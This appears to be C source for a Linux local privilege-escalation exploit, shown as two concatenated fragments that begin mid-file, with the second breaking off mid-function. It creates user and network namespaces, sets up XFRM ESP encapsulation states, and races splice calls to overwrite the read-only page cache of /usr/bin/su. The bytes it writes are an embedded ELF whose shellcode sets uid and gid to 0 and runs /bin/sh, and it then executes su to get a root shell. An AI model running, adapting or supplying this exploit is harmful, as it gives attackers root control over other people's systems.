fprintf(stderr, "target path is too long\n"); exit(2); } target_file = target_file_buf; return (uint64_t)st.st_size; } static void verify_write_denied(const char *label) { int fd; errno = 0; fd = open(target_file, O_WRONLY | O_CLOEXEC); if (fd >= 0) { close(fd); printf("namespace_gate_failed: %s write-open unexpectedly succeeded\n", label); exit(4); } printf("%s_write_open_denied=1 errno=%d (%s)\n", label, errno, strerror(errno)); } static int write_all_file_status(const char *path, const char *buf) { size_t len = strlen(buf); int fd, saved_errno; fd = open(path, O_WRONLY | O_CLOEXEC); if (fd < 0) return -1; if (write(fd, buf, len) != (ssize_t)len) { saved_errno = errno; close(fd); errno = saved_errno; return -1; } close(fd); return 0; } static void sync_write_byte(int fd) { char c = 'M'; if (write(fd, &c, 1) != 1) die("sync write"); close(fd); } static void sync_read_byte(int fd) { char c; if (read(fd, &c, 1) != 1) die("sync read"); close(fd); } static void parent_map_write_or_exit(pid_t child, const char *name, const char *data) { char path[128]; snprintf(path, sizeof(path), "/proc/%ld/%s", (long)child, name); if (write_all_file_status(path, data) < 0) { printf("namespace_gate_failed: %s errno=%d (%s)\n", path, errno, strerror(errno)); kill(child, SIGKILL); waitpid(child, NULL, 0); exit(4); } } static void enter_mapped_userns(void) { uid_t outer_uid = getuid(); gid_t outer_gid = getgid(); int ready_pipe[2], mapped_pipe[2], status; char map[128]; pid_t child; if (pipe(ready_pipe) < 0) die("pipe ready"); if (pipe(mapped_pipe) < 0) die("pipe mapped"); child = fork(); if (child < 0) die("fork userns mapper"); if (child > 0) { close(ready_pipe[1]); close(mapped_pipe[0]); sync_read_byte(ready_pipe[0]); snprintf(map, sizeof(map), "0 %u 1\n", outer_uid); parent_map_write_or_exit(child, "uid_map", map); parent_map_write_or_exit(child, "setgroups", "deny\n"); snprintf(map, sizeof(map), "0 %u 1\n", outer_gid); parent_map_write_or_exit(child, "gid_map", map); sync_write_byte(mapped_pipe[1]); if (waitpid(child, &status, 0) < 0) die("wait userns child"); if (WIFEXITED(status)) exit(WEXITSTATUS(status)); if (WIFSIGNALED(status)) { fprintf(stderr, "userns child killed by signal %d\n", WTERMSIG(status)); exit(2); } exit(2); } close(ready_pipe[0]); close(mapped_pipe[1]); if (unshare(CLONE_NEWUSER) < 0) gate_fail("unshare(CLONE_NEWUSER)"); sync_write_byte(ready_pipe[1]); sync_read_byte(mapped_pipe[0]); if (setresgid(0, 0, 0) < 0) gate_fail("setresgid 0 in userns"); if (setresuid(0, 0, 0) < 0) gate_fail("setresuid 0 in userns"); printf("userns_setup: outer_uid=%u outer_gid=%u ns_uid=%d ns_gid=%d\n", outer_uid, outer_gid, getuid(), getgid()); } static void bring_loopback_up(void) { struct ifreq ifr; int fd; fd = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0); if (fd < 0) gate_fail("socket(AF_INET)"); memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1); if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0) gate_fail("SIOCGIFFLAGS lo"); ifr.ifr_flags |= IFF_UP; if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) gate_fail("SIOCSIFFLAGS lo up"); close(fd); printf("loopback_up=1\n"); } static void add_nlattr(struct nlmsghdr *nlh, size_t maxlen, unsigned short type, const void *data, size_t len) { size_t off = NLMSG_ALIGN(nlh->nlmsg_len); struct nlattr *nla; if (off + NLA_HDRLEN + len > maxlen) { fprintf(stderr, "netlink message too small\n"); exit(2); } nla = (struct nlattr *)((char *)nlh + off); nla->nla_type = type; nla->nla_len = NLA_HDRLEN + len; memcpy((char *)nla + NLA_HDRLEN, data, len); nlh->nlmsg_len = off + NLA_ALIGN(nla->nla_len); } static int nl_ack_errno(char *buf, ssize_t len) { struct nlmsghdr *nlh; struct nlmsgerr *err; for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, (unsigned int)len); nlh = NLMSG_NEXT(nlh, len)) { if (nlh->nlmsg_type != NLMSG_ERROR) continue; err = (struct nlmsgerr *)NLMSG_DATA(nlh); if (err->error == 0) return 0; errno = -err->error; return -1; } errno = EPROTO; return -1; } static void add_xfrm_espintcp_state(void) { char reqbuf[4096], resp[4096]; char aeadbuf[sizeof(struct xfrm_algo_aead) + sizeof(xfrm_aead_key)]; struct sockaddr_nl sa = { .nl_family = AF_NETLINK, }; struct xfrm_usersa_info *xs; struct xfrm_algo_aead *aead; struct xfrm_encap_tmpl encap; struct nlmsghdr *nlh; ssize_t ret; int fd; memset(reqbuf, 0, sizeof(reqbuf)); nlh = (struct nlmsghdr *)reqbuf; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*xs)); nlh->nlmsg_type = XFRM_MSG_NEWSA; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL; nlh->nlmsg_seq = 1; xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh); if (inet_pton(AF_INET6, "::1", &xs->saddr.in6) != 1) die("inet_pton saddr"); if (inet_pton(AF_INET6, "::1", &xs->id.daddr.in6) != 1) die("inet_pton daddr"); xs->id.spi = htonl(0x100); xs->id.proto = IPPROTO_ESP; xs->family = AF_INET6; xs->mode = XFRM_MODE_TRANSPORT; xs->reqid = 1; xs->lft.soft_byte_limit = XFRM_INF; xs->lft.hard_byte_limit = XFRM_INF; xs->lft.soft_packet_limit = XFRM_INF; xs->lft.hard_packet_limit = XFRM_INF; memset(aeadbuf, 0, sizeof(aeadbuf)); aead = (struct xfrm_algo_aead *)aeadbuf; snprintf(aead->alg_name, sizeof(aead->alg_name), "rfc4106(gcm(aes))"); aead->alg_key_len = sizeof(xfrm_aead_key) * 8; aead->alg_icv_len = 128; memcpy(aead->alg_key, xfrm_aead_key, sizeof(xfrm_aead_key)); add_nlattr(nlh, sizeof(reqbuf), XFRMA_ALG_AEAD, aeadbuf, sizeof(aeadbuf)); memset(&encap, 0, sizeof(encap)); encap.encap_type = TCP_ENCAP_ESPINTCP; encap.encap_sport = htons(TCP_PORT); encap.encap_dport = htons(TCP_PORT); add_nlattr(nlh, sizeof(reqbuf), XFRMA_ENCAP, &encap, sizeof(encap)); fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_XFRM); if (fd < 0) gate_fail("socket(NETLINK_XFRM)"); if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) gate_fail("bind(NETLINK_XFRM)"); memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; ret = sendto(fd, nlh, nlh->nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)); if (ret < 0) gate_fail("sendto XFRM_MSG_NEWSA"); if (ret != (ssize_t)nlh->nlmsg_len) { errno = EIO; gate_fail("short sendto XFRM_MSG_NEWSA"); } ret = recv(fd, resp, sizeof(resp), 0); if (ret < 0) gate_fail("recv XFRM ack"); if (nl_ack_errno(resp, ret) < 0) gate_fail("XFRM_MSG_NEWSA ack"); close(fd); printf("xfrm_espintcp_state_add=1\n"); } static void setup_user_netns_xfrm(void) { if (prctl(PR_SET_DUMPABLE, 1, 0, 0, 0) < 0) die("prctl PR_SET_DUMPABLE"); enter_mapped_userns(); if (unshare(CLONE_NEWNET) < 0) gate_fail("unshare(CLONE_NEWNET)"); printf("netns_setup=1\n"); bring_loopback_up(); add_xfrm_espintcp_state(); printf("namespace_setup_complete=1\n"); } static void write_ready(int fd) { char c = 'R'; if (write(fd, &c, 1) != 1) die("ready write"); close(fd); } static void wait_ready(int fd) { char c; if (read(fd, &c, 1) != 1) die("ready read"); close(fd); } static void receiver(int ready_write_fd) { struct sockaddr_in6 addr = { .sin6_family = AF_INET6, .sin6_addr = IN6ADDR_LOOPBACK_INIT, .sin6_port = htons(TCP_PORT), .sin6_flowinfo = 0, .sin6_scope_id = 0, }; char ulp[] = "espintcp"; int fd, cfd, one = 1; fd = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 0); if (fd < 0) die("receiver socket"); if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) die("receiver reuseaddr"); if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) die("receiver bind"); if (listen(fd, 1) < 0) die("receiver listen"); write_ready(ready_write_fd); cfd = accept4(fd, NULL, NULL, SOCK_CLOEXEC); if (cfd < 0) die("receiver accept"); usleep(RECEIVER_PRE_ULP_US); if (setsockopt(cfd, IPPROTO_TCP, TCP_ULP, ulp, sizeof(ulp)) < 0) die("receiver TCP_ULP espintcp"); printf("receiver_ns_uid=%d euid=%d espintcp_enabled_after_queue=1\n", getuid(), geteuid()); usleep(RECEIVER_POST_ULP_US); close(cfd); close(fd); _exit(0); } static void sender(int ready_read_fd) { struct sockaddr_in6 dst = { .sin6_family = AF_INET6, .sin6_addr = IN6ADDR_LOOPBACK_INIT, .sin6_port = htons(TCP_PORT), .sin6_flowinfo = 0, .sin6_scope_id = 0, }; struct { __be16 len; unsigned char esp[16]; } prefix; loff_t off, start_off; int fd, sock, p[2], one = 1; ssize_t ret, sent; wait_ready(ready_read_fd); memset(&prefix, 0xcc, sizeof(prefix)); prefix.len = htons(sizeof(prefix) + FRAG_LEN); prefix.esp[0] = 0x00; prefix.esp[1] = 0x00; prefix.esp[2] = 0x01; prefix.esp[3] = 0x00; store_be32(&prefix.esp[4], active_esp_seq); memcpy(&prefix.esp[8], active_esp_gcm_iv, sizeof(active_esp_gcm_iv)); fd = open(target_file, O_RDONLY | O_CLOEXEC); if (fd < 0) die("sender open target"); sock = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 0); if (sock < 0) die("sender socket"); if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one)) < 0) die("sender TCP_NODELAY"); if (connect(sock, (struct sockaddr *)&dst, sizeof(dst)) < 0) die("sender connect"); sent = send(sock, &prefix, sizeof(prefix), 0); if (sent != (ssize_t)sizeof(prefix)) die("sender send prefix"); usleep(SENDER_PRE_SPLICE_US); if (pipe(p) < 0) die("sender pipe"); off = target_splice_off; start_off = off; ret = splice(fd, &off, p[1], NULL, FRAG_LEN, 0); if (ret != FRAG_LEN) die("sender splice file to pipe"); ret = splice(p[0], NULL, sock, NULL, FRAG_LEN, 0); if (ret < 0) die("sender splice pipe to tcp"); printf("sender_ns_uid=%d euid=%d prefix_send=%zd splice_to_tcp=%zd file_off=%lld file_off_next=%lld\n", getuid(), geteuid(), sent, ret, (long long)start_off, (long long)off); close(p[0]); close(p[1]); close(sock); close(fd); _exit(ret == FRAG_LEN ? 0 : 3); } static int run_trigger_pair(void) { int pipefd[2], st_rx, st_tx; pid_t rx, tx; if (pipe(pipefd) < 0) die("pipe"); rx = fork(); if (rx < 0) die("fork receiver"); if (rx == 0) { close(pipefd[0]); receiver(pipefd[1]); } tx = fork(); if (tx < 0) die("fork sender"); if (tx == 0) { close(pipefd[1]); sender(pipefd[0]); } close(pipefd[0]); close(pipefd[1]); if (waitpid(tx, &st_tx, 0) < 0) die("wait sender"); if (waitpid(rx, &st_rx, 0) < 0) die("wait receiver"); printf("sender_status=%d receiver_status=%d\n", st_tx, st_rx); if (!WIFEXITED(st_tx) || WEXITSTATUS(st_tx) != 0 || !WIFEXITED(st_rx) || WEXITSTATUS(st_rx) != 0) return -1; return 0; } static uint64_t checked_byte_range_last(uint64_t byte_off, size_t byte_len) { uint64_t n = (uint64_t)byte_len; if (n == 0) { fprintf(stderr, "byte range is empty\n"); exit(2); } if (n - 1 > UINT64_MAX - byte_off) { fprintf(stderr, "byte range overflows uint64_t\n"); exit(2); } return byte_off + n - 1; } static void draw_smash_frame(const unsigned char *desired, size_t desired_len, const unsigned char *live, size_t idx_current, size_t changed, size_t skipped, int first_draw) { size_t done = changed + skipped; size_t filled = desired_len ? done * FRAME_BAR_W / desired_len : FRAME_BAR_W; size_t row, col, bi, i; /* Save cursor, jump to row 1, buffer the whole frame into one write. */ static char frame_buf[8192]; setvbuf(stdout, frame_buf, _IOFBF, sizeof(frame_buf)); if (!first_draw) printf("\033[s\033[?25l\033[1;1H"); /* ── header ─────────────────────────────────────────────────── */ printf("\r\033[2K" C_BCYN "[*]" C_RESET " smashing %zu bytes into read-only page cache" " changed=" C_BGRN "%zu" C_RESET " skipped=" C_DIM "%zu" C_RESET " remaining=" C_BYLW "%zu" C_RESET "\n", desired_len, changed, skipped, done < desired_len ? desired_len - done : (size_t)0); /* ── hex dump ────────────────────────────────────────────────── */ for (row = 0; row < FRAME_PAYLOAD_ROWS; row++) { /* col-0 highlight borrows the header's last trailing space */ int col0_hi = (idx_current < desired_len && row * 16 == idx_current); printf("\r\033[2K" C_DIM " %04zx%s" C_RESET, row * 16, col0_hi ? " " : " "); for (col = 0; col < 16; col++) { bi = row * 16 + col; int cur = (idx_current < desired_len && bi == idx_current); if (col == 8) { /* mid-gap space becomes '[' when col 8 is current */ printf(cur ? "[" : " "); if (cur) { printf(C_BYLW "%02x]" C_RESET, live[bi]); continue; } } if (bi >= desired_len) { printf(" "); continue; } if (bi < idx_current) { printf(live[bi] == desired[bi] ? C_BGRN "%02x " C_RESET : C_BRED "%02x " C_RESET, live[bi]); } else if (cur) { /* col 0: '[' was the header's borrowed space * col 1-7, 9-15: '\b' eats the preceding byte's space */ printf(col == 0 ? C_BYLW "[%02x]" C_RESET : "\b" C_BYLW "[%02x]" C_RESET, live[bi]); } else { printf(C_DIM "%02x " C_RESET, desired[bi]); } } printf("\n"); } /* ── progress bar ────────────────────────────────────────────── */ printf("\r\033[2K [" C_BGRN); for (i = 0; i < filled; i++) printf("="); printf(C_RESET C_DIM); for (i = filled; i < FRAME_BAR_W; i++) printf("-"); printf(C_RESET "] " C_BWHT "%zu" C_RESET "/" C_DIM "%zu" C_RESET " (%zu%%)\n", done, desired_len, desired_len ? done * 100 / desired_len : (size_t)100); /* ── separator ───────────────────────────────────────────────── */ printf("\r\033[2K" C_DIM "────────────────────────────────────────────────────────────" C_RESET "\n"); fflush(stdout); setvbuf(stdout, NULL, _IONBF, 0); if (!first_draw) printf("\033[?25h\033[u"); /* restore cursor to log area */ } static int replace_existing_bytes_after(uint64_t byte_off, const unsigned char *desired, size_t desired_len, uint64_t file_size) { uint64_t last = checked_byte_range_last(byte_off, desired_len); size_t idx, changed = 0, skipped = 0; unsigned char live_state[PAYLOAD_LEN]; int fd_init; if (last >= file_size) { fprintf(stderr, "byte range outside target: offset=%llu len=%zu size=%llu\n", (unsigned long long)byte_off, desired_len, (unsigned long long)file_size); return 2; } if (last > file_size - FRAG_LEN) { fprintf(stderr, "collateral-after mode requires requested range end <= size-%d: offset=%llu len=%zu size=%llu\n", FRAG_LEN, (unsigned long long)byte_off, desired_len, (unsigned long long)file_size); return 2; } printf(C_BCYN "\n[*]" C_RESET " timing: rx_pre_ulp=%uus tx_pre_splice=%uus rx_post_ulp=%uus\n", RECEIVER_PRE_ULP_US, SENDER_PRE_SPLICE_US, RECEIVER_POST_ULP_US); printf(C_BCYN "[*]" C_RESET " range: offset=0x%llx len=%zu last=0x%llx" " enc_len=%d splice_len=%d\n", (unsigned long long)byte_off, desired_len, (unsigned long long)last, ESP_GCM_ENCRYPTED_LEN, FRAG_LEN); printf(C_BCYN "[*]" C_RESET " union: transformed=0x%llx-0x%llx" " collateral_after=0x%llx-0x%llx\n", (unsigned long long)byte_off, (unsigned long long)(last + ESP_GCM_ENCRYPTED_LEN - 1), (unsigned long long)(last + 1), (unsigned long long)(last + ESP_GCM_ENCRYPTED_LEN - 1)); printf(C_BCYN "[*]" C_RESET " "); print_hex_bytes("payload", desired, desired_len); printf("\n"); build_stream0_table(); printf("\n"); /* seed live_state from the file so the hex dump has real values */ fd_init = open(target_file, O_RDONLY | O_CLOEXEC); if (fd_init < 0) die("open live_state init"); if (pread(fd_init, live_state, desired_len, (off_t)byte_off) < (ssize_t)desired_len) die("pread live_state init"); close(fd_init); /* clear screen so the frame starts at a known row 1 */ printf("\033[2J\033[H"); draw_smash_frame(desired, desired_len, live_state, 0, 0, 0, 1); /* pin the frame to rows 1-FRAME_LINES; scroll region below */ { struct winsize ws; int tr = 40; if (ioctl(STDOUT_FILENO, TIOCGWINSZ, &ws) == 0 && ws.ws_row > FRAME_LINES) tr = (int)ws.ws_row; printf("\033[%d;%dr", FRAME_LINES + 1, tr); printf("\033[%d;1H", tr); /* park cursor at bottom of scroll region */ fflush(stdout); } for (idx = 0; idx < desired_len; idx++) { uint64_t off = byte_off + idx; unsigned char current, final, need_stream; live_state[idx] = read_byte_at(target_file, off); current = live_state[idx]; draw_smash_frame(desired, desired_len, live_state, idx, changed, skipped, 0); if (current == desired[idx]) { printf(C_DIM "[-] [%zu/%zu] +%04llx already=%02x skip\n" C_RESET, idx + 1, desired_len, (unsigned long long)off, current); skipped++; continue; } target_splice_off = (loff_t)off; need_stream = current ^ desired[idx]; choose_iv_for_stream0(need_stream); active_esp_seq++; printf(C_BCYN "[*]" C_RESET " [%zu/%zu]" " +%04llx " C_RED "%02x" C_RESET " -> " C_BGRN "%02x" C_RESET " xor=" C_CYAN "%02x" C_RESET " seq=" C_DIM "%u" C_RESET " nonce=" C_DIM "%u" C_RESET "\n", idx + 1, desired_len, (unsigned long long)off, current, desired[idx], need_stream, active_esp_seq, stream0_nonce[need_stream]); printf(C_RESET " firing espintcp splice...\n"); if (run_trigger_pair() < 0) { fprintf(stderr, C_BRED "[-] trigger pair failed at index=%zu\n" C_RESET, idx); return 2; } final = read_byte_at(target_file, off); live_state[idx] = final; if (final == desired[idx]) { printf(C_BGRN "[+]" C_RESET " smashed" C_DIM " %02x -> %02x index=%zu offset=+%04llx\n\n" C_RESET, current, final, idx, (unsigned long long)off); changed++; continue; } if (final == current) { printf(C_BGRN "[-]" C_RESET " fixed behavior: byte unchanged at index=%zu offset=%llu\n", idx, (unsigned long long)off); return 0; } printf(C_BRED "[-]" C_RESET " BUG: byte changed but desired-value check mismatched" " index=%zu offset=%llu desired=%02x got=%02x\n", idx, (unsigned long long)off, desired[idx], final); return 1; } /* final frame: all bytes done, cursor past the end */ draw_smash_frame(desired, desired_len, live_state, desired_len, changed, skipped, 0); /* restore full scroll region and drop cursor below the frame */ printf("\033[r\033[%d;1H\n", FRAME_LINES + 1); /* final verify pass */ printf(C_BCYN "[*]" C_RESET " verifying %zu bytes...\n", desired_len); for (idx = 0; idx < desired_len; idx++) { uint64_t off = byte_off + idx; unsigned char final = read_byte_at(target_file, off); if (final != desired[idx]) { printf(C_BRED "[-]" C_RESET " BUG: final verify mismatch index=%zu offset=%llu desired=%02x got=%02x\n", idx, (unsigned long long)off, desired[idx], final); return 1; } } printf(C_BCYN "[*]" C_RESET " bytes_flip_summary len=%zu changed=" C_BGRN "%zu" C_RESET " skipped=" C_DIM "%zu" C_RESET "\n", desired_len, changed, skipped); if (changed == 0) { fprintf(stderr, "all requested bytes already had desired values\n"); return 2; } printf(C_BGRN "[+]" C_RESET " BUG: changed requested copied byte range to desired values\n"); return 1; } static void usage(const char *prog) { fprintf(stderr, "usage: %s \n", prog); fprintf(stderr, "example: %s /path/to/target 0 42434445\n", prog); } static const uint8_t shell_elf[PAYLOAD_LEN] = { 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, }; int main(int argc, char **argv) { unsigned char *desired; uint64_t file_size, byte_off; size_t desired_len, sample_len; int ret; setvbuf(stdout, NULL, _IONBF, 0); printf(C_BCYN "[*]" C_RESET " uid=" C_BWHT "%d" C_RESET " euid=" C_BWHT "%d" C_RESET " gid=" C_BWHT "%d" C_RESET " egid=" C_BWHT "%d" C_RESET "\n", getuid(), geteuid(), getgid(), getegid()); printf(C_BCYN "[*]" C_RESET " mode=xfrm_espintcp_pagecache_replace collateral=after\n"); printf("\n"); // system("cp /bin/cat /tmp/test"); // file_size = use_existing_target("/tmp/test"); file_size = use_existing_target("/usr/bin/su"); byte_off = 0; desired = (unsigned char *)shell_elf; desired_len = PAYLOAD_LEN; printf(C_BCYN "[*]" C_RESET " target=%s size=%llu\n", target_file, (unsigned long long)file_size); verify_write_denied("outer"); setup_user_netns_xfrm(); verify_write_denied("userns_root_mapped_to_outer_user"); ret = replace_existing_bytes_after(byte_off, desired, desired_len, file_size); /* reset scroll region; some terminals home the cursor on \033[r so * explicitly jump to the last row so PS1 lands below our output */ write(STDOUT_FILENO, "\033[r\033[9999;1H\033[?25h\n", 19); execve("/usr/bin/su", NULL, NULL); return ret; } #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef UDP_ENCAP #define UDP_ENCAP 100 #endif #ifndef UDP_ENCAP_ESPINUDP #define UDP_ENCAP_ESPINUDP 2 #endif #ifndef SOL_UDP #define SOL_UDP 17 #endif #define ENC_PORT 4500 #define SEQ_VAL 200 #define REPLAY_SEQ 100 #define TARGET_PATH "/usr/bin/su" #define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] */ #define PAYLOAD_LEN 192 /* bytes of shell_elf to write (48 triggers) */ #define ENTRY_OFFSET 0x78 /* shellcode entry inside the new ELF */ /* * 192-byte minimal x86_64 root-shell ELF. * _start at 0x400078: * setgid(0); setuid(0); setgroups(0, NULL); * execve("/bin/sh", NULL, ["TERM=xterm", NULL]); * PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X. * * Setting TERM in the new shell's env silences the * "tput: No value for $TERM" / "test: : integer expected" noise * /etc/bash.bashrc and friends emit when TERM is unset. * * Code (from offset 0x78): * 31 ff xor edi, edi * 31 f6 xor esi, esi * 31 c0 xor eax, eax * b0 6a mov al, 0x6a ; setgid * 0f 05 syscall * b0 69 mov al, 0x69 ; setuid * 0f 05 syscall * b0 74 mov al, 0x74 ; setgroups * 0f 05 syscall * 6a 00 push 0 ; envp[1] = NULL * 48 8d 05 12 00 00 00 lea rax, [rip+0x12] ; rax = "TERM=xterm" * 50 push rax ; envp[0] * 48 89 e2 mov rdx, rsp ; rdx = envp * 48 8d 3d 12 00 00 00 lea rdi, [rip+0x12] ; rdi = "/bin/sh" * 31 f6 xor esi, esi ; rsi = NULL (argv) * 6a 3b 58 push 0x3b ; pop rax ; rax = 59 (execve) * 0f 05 syscall ; execve("/bin/sh",NULL,envp) * "TERM=xterm\0" (offset 0xa5..0xaf) * "/bin/sh\0" (offset 0xb0..0xb7) */ static const uint8_t shell_elf[PAYLOAD_LEN] = { 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, }; extern int g_su_verbose; int g_su_verbose = 0; #define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0) static int write_proc(const char *path, const char *buf) { int fd = open(path, O_WRONLY); if (fd < 0) return -1; int n = write(fd, buf, strlen(buf)); close(fd); return n; } static void setup_userns_netns(void) { uid_t real_uid = getuid(); gid_t real_gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { SLOG("unshare: %s", strerror(errno)); exit(1); } write_proc("/proc/self/setgroups", "deny"); char map[64]; snprintf(map, sizeof(map), "0 %u 1", real_uid); if (write_proc("/proc/self/uid_map", map) < 0) { SLOG("uid_map: %s", strerror(errno)); exit(1); } snprintf(map, sizeof(map), "0 %u 1", real_gid); if (write_proc("/proc/self/gid_map", map) < 0) { SLOG("gid_map: %s", strerror(errno)); exit(1); } int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); } struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "lo", IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); } ifr.ifr_flags |= IFF_UP | IFF_RUNNING; if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); } close(s); } static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) { struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); rta->rta_type = type; rta->rta_len = RTA_LENGTH(len); memcpy(RTA_DATA(rta), data, len); nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); } static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) { int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (sk < 0) return -1; struct sockaddr_nl nl = { .nl_family = AF_NETLINK }; if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; } char buf[4096] = {0}; struct nlmsghdr *nlh = (struct nlmsghdr *)buf; nlh->nlmsg_type = XFRM_MSG_NEWSA; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_pid = getpid(); nlh->nlmsg_seq = 1; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info)); struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh); xs->id.daddr.a4 = inet_addr("127.0.0.1"); xs->id.spi = htonl(spi); xs->id.proto = IPPROTO_ESP; xs->saddr.a4 = inet_addr("127.0.0.1"); xs->family = AF_INET; xs->mode = XFRM_MODE_TRANSPORT; xs->replay_window = 0; xs->reqid = 0x1234; xs->flags = XFRM_STATE_ESN; xs->lft.soft_byte_limit = (uint64_t)-1; xs->lft.hard_byte_limit = (uint64_t)-1; xs->lft.soft_packet_limit = (uint64_t)-1; xs->lft.hard_packet_limit = (uint64_t)-1; xs->sel.family = AF_INET; xs->sel.prefixlen_d = 32; xs->sel.prefixlen_s = 32; xs->sel.daddr.a4 = inet_addr("127.0.0.1"); xs->sel.saddr.a4 = inet_addr("127.0.0.1"); { char alg_buf[sizeof(struct xfrm_algo_auth) + 32]; memset(alg_buf, 0, sizeof(alg_buf)); struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)alg_buf; strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name)-1); aa->alg_key_len = 32 * 8; aa->alg_trunc_len = 128; memset(aa->alg_key, 0xAA, 32); put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf)); } { char alg_buf[sizeof(struct xfrm_algo) + 16]; memset(alg_buf, 0, sizeof(alg_buf)); struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf; strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name)-1); ea->alg_key_len = 16 * 8; memset(ea->alg_key, 0xBB, 16); put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, 